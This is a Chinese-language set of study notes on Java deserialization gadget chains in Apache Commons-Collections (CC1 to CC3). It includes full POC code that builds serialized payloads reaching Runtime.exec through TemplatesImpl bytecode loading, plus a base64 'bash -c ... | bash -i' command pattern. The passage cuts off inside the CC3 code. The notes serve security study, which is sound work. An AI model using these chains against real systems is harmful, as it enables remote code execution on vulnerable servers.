JAVA反序列化CC链笔记

前置说明

依据这张图来进行一些分析

参考:Commons-Collections 1-7 利用链分析 – 天下大木头 (wjlshare.com)

DF8C7E9CED07CAD7321EFED262F23E20

前置知识

CC链包含了好多的Transformer,这部分知识在P神的JAVA安全漫谈中讲的挺清楚的Java安全漫谈 - 09.反序列化篇(3),简单提一下

源码-8u40

Transformer

Transformer是⼀个接⼝,代表调用该对象的transform方法

1
2
3
public interface Transformer {
Object transform(Object input);
}

很多的transformer系列对象都实现了该接口,并且进行重写,比如熟悉的像InvokerTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class InvokerTransformer implements Transformer, Serializable {
//....
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}catch{
//...
}
}
}
}

TransformedMap

借用一下p神在JAVA安全漫谈中的Java安全漫谈 - 09.反序列化篇(3)下的原话

image-20220802181051056

这里的回调感觉就是调用对应实现了Transformer接口的类的自定义的transform方法。

其源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
private static final long serialVersionUID = 7023152376788900464L;
protected final Transformer keyTransformer;
protected final Transformer valueTransformer;

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
//...
}

由于其构造函数是protected修饰的,所以通常是没办法在我们的代码中直接实例化对象出来的,那么就利用提供的decorate函数接口即可。

ConstantTransformer

看源码就知道

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class ConstantTransformer implements Transformer, Serializable {
static final long serialVersionUID = 6374440726369055124L;
//....
private final Object iConstant;

//....

public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
//...
public Object transform(Object input) {
return this.iConstant;
}
//...
}

即构造函数的时候传入⼀个对象,当调用transform方法时再将这个对象返回,最开始我想着这不是多此一举吗,有什么用捏。后面才知道,这可能就是为了传递某些无法进行序列化的类吧,比如Runtime的。

InvokerTransformer

这个可以说是很关键的一个类了,能执行任意方法。看下源码,主要关注三个参数的构造函数和transform函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class InvokerTransformer implements Transformer, Serializable {
static final long serialVersionUID = -8653385846894047688L;
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;

//....
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
//.....
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch{
//.....
}
}
}
}

即当调用到该类的transform函数时,约等于执行input.iMethodName(this.iArgs)

ChainedTransformer

包含了一个Transformer的数组,即数组中前⼀个Transformertransform函数执行的返回结果,作为后⼀个Transformertransform函数的参数输入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class ChainedTransformer implements Transformer, Serializable {
static final long serialVersionUID = 3514945074733160196L;
private final Transformer[] iTransformers;
//....

public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
//...
}

比如如下在反序列化中常见的执行Runtime.exec的方法

1
2
3
4
5
6
7
8
9
10
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[]{"touch dddd"})});
chain.transform(123);//这个123没啥用,随便设置

那么实际的的调用链如下,实际调试一下应该更清楚一些。

未命名绘图

所以通常情况下,我们就是需要找到能调用到某个对象的transform函数的链子。

TemplatesImpl

这个不知道被设计出来干啥的,不过在JAVA反序列化中通常用来加载字节码。

前置知识

参考:Java安全漫谈 - 13.Java中动态加载字节码的那些方法

JAVA虚拟机JVM实际加载运行的是.class文件,而这个.class文件,里面的实际数据就是字节码。那么如果我们可以自定义一个类,其构造函数为打印Hello World,然后将之编译成.class文件,然后让JAVA去加载,就可以触发该类的构造函数了。

那么这个加载.class文件的方法,就是defineClass,以下就是p神提供的一个例子,运行会打印出Hello World

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package test;

import java.lang.reflect.Method;
import java.util.Base64;
public class test {
public static void main(String[] args) throws Exception {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class,byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
hello.newInstance();
}
}

那么我们需要寻找的链子,就是能够调用到defineClass方法的链子,这里就是TemplatesImpl,其调用链如下:

1
TemplatesImpl.newTransformer() ->TemplatesImpl.getTransletInstance() -> TemplatesImpl.defineTransletClasses()-> TransletClassLoader.defineClass()

相关实际调用截图如下

链子

TemplatesImpl.newTransformer()

image-20220803171708570

TemplatesImpl.defineTransletClasses()

image-20220803171741367

TransletClassLoader.defineClass()

这里的_bytecodes[i]即为TemplatesImpl类中私有成员,我们可以通过反射来为其赋值。

image-20220803171936516

TrAXFilter

该类未实现Serializable接口,无法进行序列化,所以使用的时候通常结合ConstantTransformer来搭配使用。主要关注其构造函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class TrAXFilter extends XMLFilterImpl {
//....
private TransformerImpl _transformer;
//.....

public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
//...
_transformer = (TransformerImpl) templates.newTransformer();
//...
}
//....
}

即会依据传入的Templates类对象,来调用其newTransformer函数,这个是不是就是可以调用到之前提到的TransformerImpl.newTransformer()从而加载字节码呢。

InstantiateTransformer

同样也是一个实现了Transformer接口的类,主要关注其构造函数和重写的transform函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class InstantiateTransformer implements Transformer, Serializable {
//......
private final Class[] iParamTypes;
private final Object[] iArgs;

private InstantiateTransformer() {
this.iParamTypes = null;
this.iArgs = null;
}

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
this.iParamTypes = paramTypes;
this.iArgs = args;
}

public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
} catch (NoSuchMethodException var6) {
//...
}
//...
}
}

可以看到有两个构造函数,当传入有参构造函数时,其成员iParamTypesiArgs会被赋值,然后在其transform函数中,会依据成员iParamTypesiArgs来生成实例化对象。

1
2
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);

那么我们就可以借助该类的transform函数,来生成TrAXFilter类的实例化对象,从而在TrAXFilter的构造函数中,调用到TemplatesImpl.newTransformer()来加载字节码,完成任意函数调用。

经典链子CCI

ChainedTransformer->ConstantTransformer->InvokerTransformer

为了方便,自己命名为CCI

前置知识

可以使用ChainedTransformer.transform()来调用其中该数组中的各种transformer,从而获取Runtime来执行命令。举个简单的例子如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import java.lang.reflect.Field;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[]{"touch abc"})});
chain.transform("aaa");//随便设置
}
}

调用时ChainedTransformer.transfor()满足如下条件即可

image-20220802121441271

进入之后会一直循环调用

image-20220802121635026

直到最后调用到Runtime的exec

image-20220802122031069

实际使用

调用transform数组获取runtime

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[]{"ping dnslog.cn"})});

//其中一种触发方式,LazyMap.get()
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
//调用LazyMap.get方法
TiedMapEntry tiedmap = new TiedMapEntry(map,123);

代表如下获取Runtime的链子

image-20220801101348788

LazyMap.get()开始

image-20220801110714702

这里的factoryChainedTransformer,其transform为一个数组

image-20220802095635405

key123可以随便设置,但是实际调试的时候不知道为什么进不去,应该是p神讲的

image-20220802100443587

所以导致运行到上述情况时,上层的HashMap中的key已经是一个进程了,所以有值了,导致调试无法进入。

image-20220802100604384

经典链子ITN

InvokerTransformer->TemplatesImpl.newTransformer

同样为了方便自己命名为ITN

前置知识

可使用TemplatesImpl.newTransformer来调用到defineClass加载字节码任意调用,给个简单的例子

多方参考:

利用TemplatesImpl加载字节码 - (yang99.top)

JavaDeserializeLab学习(jdk1.8.0_301) – maxzed

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package test;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;

public class test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(String.valueOf(AbstractTranslet.class));
CtClass ctClass = pool.get(test.class.getName());//新建一个test类,没啥用
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String code = "{java.lang.Runtime.getRuntime().exec(\"bash -c {echo,dG91Y2ggYWJj}|{base64,-d}|{bash,-i}\");}";
ctClass.makeClassInitializer().insertAfter(code);
ctClass.setName("evil");
byte[] bytes = ctClass.toBytecode();

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {bytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
}
}

设置的命令为touch abc

调试如下,可以看到,满足TemplatesImpl.newTransformer调用时,存在_name,即可调用对应的_bytecodes的字节码。

image-20220802113412874

实际使用

JAVA版本限制

参考:BCEL ClassLoader去哪了 | 离别歌 (leavesongs.com)

也就是Java 8u251以后,JAVA里的ClassLoader被删除,但是官网的JDK里还是有的,所以跑上面的例子代码还是能跑通,但是如果实际环境中可能就不行了,这个不是很懂。

那么如果没有ClassLoader的话,也就不存在下面的加载字节码的方法了,具体原因是newTransformer函数内部会调用到ClassLoader来加载字节码,这个可以参考如下:利用TemplatesImpl加载字节码 - (yang99.top)

解析

该链子的使用方法参考我熊哥的博客:JavaDeserializeLab学习(jdk1.8.0_301) – maxzed

加载字节码,直接运行所需命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(String.valueOf(AbstractTranslet.class));
CtClass ctClass = pool.get(test.class.getName());//新建一个test类,没啥用
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String code = "{java.lang.Runtime.getRuntime().exec(\"bash -c {echo,Li90ZXN0LnNo}|{base64,-d}|{bash,-i}\");}";
ctClass.makeClassInitializer().insertAfter(code);
ctClass.setName("evil");

byte[] bytes = ctClass.toBytecode();
TemplatesImpl tempIm = new TemplatesImpl();
setField(tempIm, "_name", "asd");
setField(tempIm, "_bytecodes", new byte[][]{bytes});
setField(tempIm, "_tfactory", new TransformerFactoryImpl());
InvokerTransformer invTransf = new InvokerTransformer("newTransformer", null, null);

HashMap innermap = new HashMap();

LazyMap map = (LazyMap)LazyMap.decorate(innermap,invTransf);
//调用Get方法
TiedMapEntry tiedmap = new TiedMapEntry(map,tempIm);

代表如下运行字节码链子

image-20220802103631920

也是从LazyMap.get()开始,这里调试时上一层HashMap中就没有key值了,所以可以进去

image-20220802105100090

然后进入transform中,可以看到对应的要执行的命令字节码

image-20220802105822797

1
[-54, -2, -70, -66, 0, 0, 0, 52, 0, 35, 10, 0, 3, 0, 13, 7, 0, 33, 7, 0, 15, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 11, 76, 116, 101, 115, 116, 47, 116, 101, +499 more]

对比一下在没有序列化时的数据

image-20220802105946768

1
[-54, -2, -70, -66, 0, 0, 0, 52, 0, 35, 10, 0, 3, 0, 13, 7, 0, 33, 7, 0, 15, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 11, 76, 116, 101, 115, 116, 47, 116, 101, +499 more]

是完全一样的,那么就会调用到newTransform来调用相关字节码

参考:Commons-Collections 1-7 利用链分析 – 天下大木头 (wjlshare.com)

经典链子CITTN

ChainedTransformer->ConstantTransformer->InstantiateTransformer->TrAXFilter->TemplatesImpl

同样为了方便自己命名为CITTN

测试链

即结合之前提到的这几个类,也能想出相关的链子,相关测试如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;


public class test {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(String.valueOf(AbstractTranslet.class));
CtClass ctClass = pool.makeClass("test");
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String code = "{java.lang.Runtime.getRuntime().exec(\"touch bbbb\");}";
ctClass.makeClassInitializer().insertAfter(code);
ctClass.setName("evil");

byte[] classBytes = ctClass.toBytecode();
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setField(templates, "_bytecodes", new byte[][]{classBytes});
setField(templates, "_name", "name");
setField(templates, "_class", null);

ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
});
chain.transform("test");
}
public static void setField(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

解析

image-20220806110014361

首先自然还是ChainedTransformer中的数组调用transform函数,之后调用ConstantTransformertransform函数,获取到TrAXFilter类后,再调用InstantiateTransformertransform函数,其中会生成TrAXFilter的实例化对象

image-20220806112255293

随后即可进入TrAXFilter的构造函数,传入的this.iArgs即为实例化InstantiateTransformer时传入的Templates对象

image-20220806110523351

然后就调用到利用反射为Templates对象准备的字节码_bytecodes,从而完成任意函数执行。

一、CC1

前置知识

主要是动态代理对象的知识

参考:Java安全漫谈 - 11.反序列化篇(5)

InvocationHandler

有一个和Transformer接口很像的类InvocationHandler

1
2
3
4
public interface InvocationHandler {
public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable;
}

当该代理对象调用任意方法时,都会被替换为调用之前传入的实现了InvocationHandler类下重写的invoke方法,以下是个简单的例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class test {
public static void main(String[] args) {
//声明一个实现了InvocationHandler接口的类
class Demo implements InvocationHandler{
protected Map map;
public Demo(Map map){
this.map = map;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("Calling invoke....");
if (method.getName().compareTo("get") == 0){
System.out.println("Hook method: " + method.getName());
return "Hacked return string";
}
return method.invoke(this.map,args);
}
}

InvocationHandler invocationHandler = new Demo(new HashMap());
//代理时传入实现了InvocationHandler接口的类的实例对象,返回代理对象proxyMap
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
//当代理对象proxyMap调用任意方法时,都会被之前传入的实现了
//InvocationHandler接口的类下重写的invoke方法给替换掉

//比如这里的put和get都会被Demo.invoke给替换掉
proxyMap.put("hello","world");
String result = (String) proxyMap.get("hello");
System.out.println(result);
}
}

那么就有希望调用到某个类的invoke函数了,这里的CC1即选取的尝试调用AnnotationInvocationHandler.invoke()

JAVA源码版本-8u40

image-20220803181047725

细节如下:

1
2
3
4
5
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()

限制

JDK版本:8u71及以前版本,原因是在8u71之后的版本中sun.reflect.annotation.AnnotationInvocationHandler.readObject()函数发生了变化。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC1 {
public static void main(String[] args) throws Exception{
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"touch aaaaa"})});

HashMap innermap = new HashMap();
LazyMap map = (LazyMap) LazyMap.decorate(innermap,chain);

// 创建一个与代理对象相关联的InvocationHandler map_handler
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);

// 创建代理对象proxy_map来代理map_handler,代理对象执行的所有方法都会替换执行InvocationHandler中的invoke方法
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);

//再创建一个AnnotationInvocationHandler对象,用来触发代理对象proxy_map的方法执行,从而跳转AnnotationInvocationHandler.voker()
InvocationHandler handler = (InvocationHandler)handler_constructor.newInstance(Override.class,proxy_map);


try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc1"));
outputStream.writeObject(handler);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc1"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}

}
}

解析

AnnotationInvocationHandler.readObject()

image-20220803201921921

AnnotationInvocationHandler.invoke()

image-20220803203105622

LazyMap.get()

还是经典的链子CIR

image-20220801110714702

二、CC2

JAVA源码版本-8u40

image-20220805162929023

细节如下:

1
2
3
4
PriorityQueue.readObject()->heapify()->siftDown()->siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Templateslmpl.newTransfomer()

PriorityQueuecommons-collections4下才开始有

1
2
3
4
5
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

限制

JDK版本:暂无

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import javassist.ClassPool;
import javassist.CtClass;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

public class CC2 {
public static void main(String[] args) throws Exception {
//构建字节码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(String.valueOf(AbstractTranslet.class));
CtClass ctClass = pool.makeClass("test");
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String code = "{java.lang.Runtime.getRuntime().exec(\"touch aaaa\");}";
ctClass.makeClassInitializer().insertAfter(code);
ctClass.setName("evil");

byte[] classBytes = ctClass.toBytecode();
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setField(templates, "_bytecodes", new byte[][]{classBytes});
setField(templates, "_name", "name");
setField(templates, "_class", null);


Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer")
.getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);

Object[] queue_array = new Object[]{templates,1};
setField(queue,"queue",queue_array);
setField(queue,"size",2);
//设置comparator为TransformingComparator,进入siftDownUsingComparator
setField(queue,"comparator",comparator);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}

}

public static void setField(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

解析

PriorityQueue.readObject()

这里同理需要看一下writeObject函数

image-20220805165712958

也是对应读写的,所以可以利用反射设置PriorityQueuequeue,使其可控,然后进入下面的heapify()函数

PriorityQueue.heapify()

image-20220805170040301

再进入siftDown

PriorityQueue.siftDown()

其中comparator利用反射设置为TransformingComparator,随后进入siftDownUsingComparator函数

image-20220805170115164

PriorityQueue.siftDownUsingComparator()

调用到实现了Comparator接口的TransformingComparator.comparator()函数

image-20220805170501655

TransformingComparator.comparator()

那么之前利用反射设置了TransformingComparator.transformerInvokerTransformer,那么就可以调用到InvokerTransformer.transoform,并且其参数即为这里的obj1,也为PriorityQueue.queue,这个之前设置为了TemplatesImpl,即最后可调用到经典链子ITN,完成利用。

image-20220805170750082

三、CC3

JAVA源码版本-8u40

image-20220806110944484

细节如下

1
2
3
4
5
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()

之后的链子就是经典CITTN链了

限制

JDK版本:暂无

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class CC3 {

public static void main(String[] args) throws Exception {
//构建字节码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(String.valueOf(AbstractTranslet.class));
CtClass ctClass = pool.makeClass("test");
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String code = "{java.lang.Runtime.getRuntime().exec(\"touch aaaa\");}";
ctClass.makeClassInitializer().insertAfter(code);
ctClass.setName("evil");

byte[] classBytes = ctClass.toBytecode();
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setField(templates, "_bytecodes", new byte[][]{classBytes});
setField(templates, "_name", "name");
setField(templates, "_class", null);

ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
});

HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);

// 创建一个与代理对象相关联的InvocationHandler map_handler
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);

// 创建代理对象proxy_map来代理map_handler,代理对象执行的所有方法都会替换执行InvocationHandler中的invoke方法
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);

//再创建一个AnnotationInvocationHandler对象,用来触发代理对象proxy_map的方法执行,从而跳转AnnotationInvocationHandler.voker()
InvocationHandler handler = (InvocationHandler)handler_constructor.newInstance(Override.class,proxy_map);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3"));
outputStream.writeObject(handler);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}

}

public static void setField(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
